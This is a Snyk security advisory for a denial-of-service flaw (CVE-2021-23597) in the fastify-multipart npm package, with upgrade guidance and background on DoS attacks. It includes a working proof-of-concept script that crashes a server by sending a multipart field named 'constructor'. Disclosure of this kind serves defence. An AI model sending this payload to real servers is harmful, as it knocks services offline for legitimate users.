Denial of Service (DoS)

Affecting fastify-multipart package, versions <5.3.1

INTRODUCED: 7 FEB 2022 CVE-2021-23597 CWE-400 FIRST ADDED BY SNYK

Share

How to fix?

Upgrade `fastify-multipart` to version 5.3.1 or higher.

Overview

fastify-multipart is a Multipart plugin for Fastify

Affected versions of this package are vulnerable to Denial of Service (DoS). By providing a `name=constructor` property it is still possible to crash the application.

Note: This is a bypass of CVE-2020-8136 (https://security.snyk.io/vuln/SNYK-JS-FASTIFYMULTIPART-1290382).

PoC

```
// npm i fastify const http = require('http') const fastify = require('fastify')() const options = {
addToBody: true, onFile: (fieldName, stream, filename, encoding, mimetype, body) => { stream.resume(); }
}; fastify.register(require('fastify-multipart'), options); fastify.post('/', function (req, reply) {
console.log(req.body.toString()); reply.code(200).send(); }); fastify.listen(3000, () => {
console.log(`server listening on ${fastify.server.address().port}`) const body = '--AaB03x\r\n' +
'content-disposition: form-data; name="constructor"; filename="file1.txt"\r\n' + 'Content-Type:
text/plain\r\n' + '\r\n' + '... contents of file1.txt ...\r\n\r\n' + '--AaB03x--\r\n'; const r = { hostname:
'localhost', port: 3000, path: '/', method: 'POST', headers: { 'content-type': 'multipart/form-data;
boundary=AaB03x' } }; const req = http.request(r, (res) => { }); req.write(body); req.end(); });
```

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

References

- GitHub Commit
- Github Release

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
Availability	HIGH

See more

NVD 7.5 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Denial of Service (DoS) vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JS-FASTIFYMULTIPART-2395480
Published	11 Feb 2022
Disclosed	7 Feb 2022
Credit	Alessio Della Libera of Snyk Research Team

Report a new vulnerability | Found a mistake?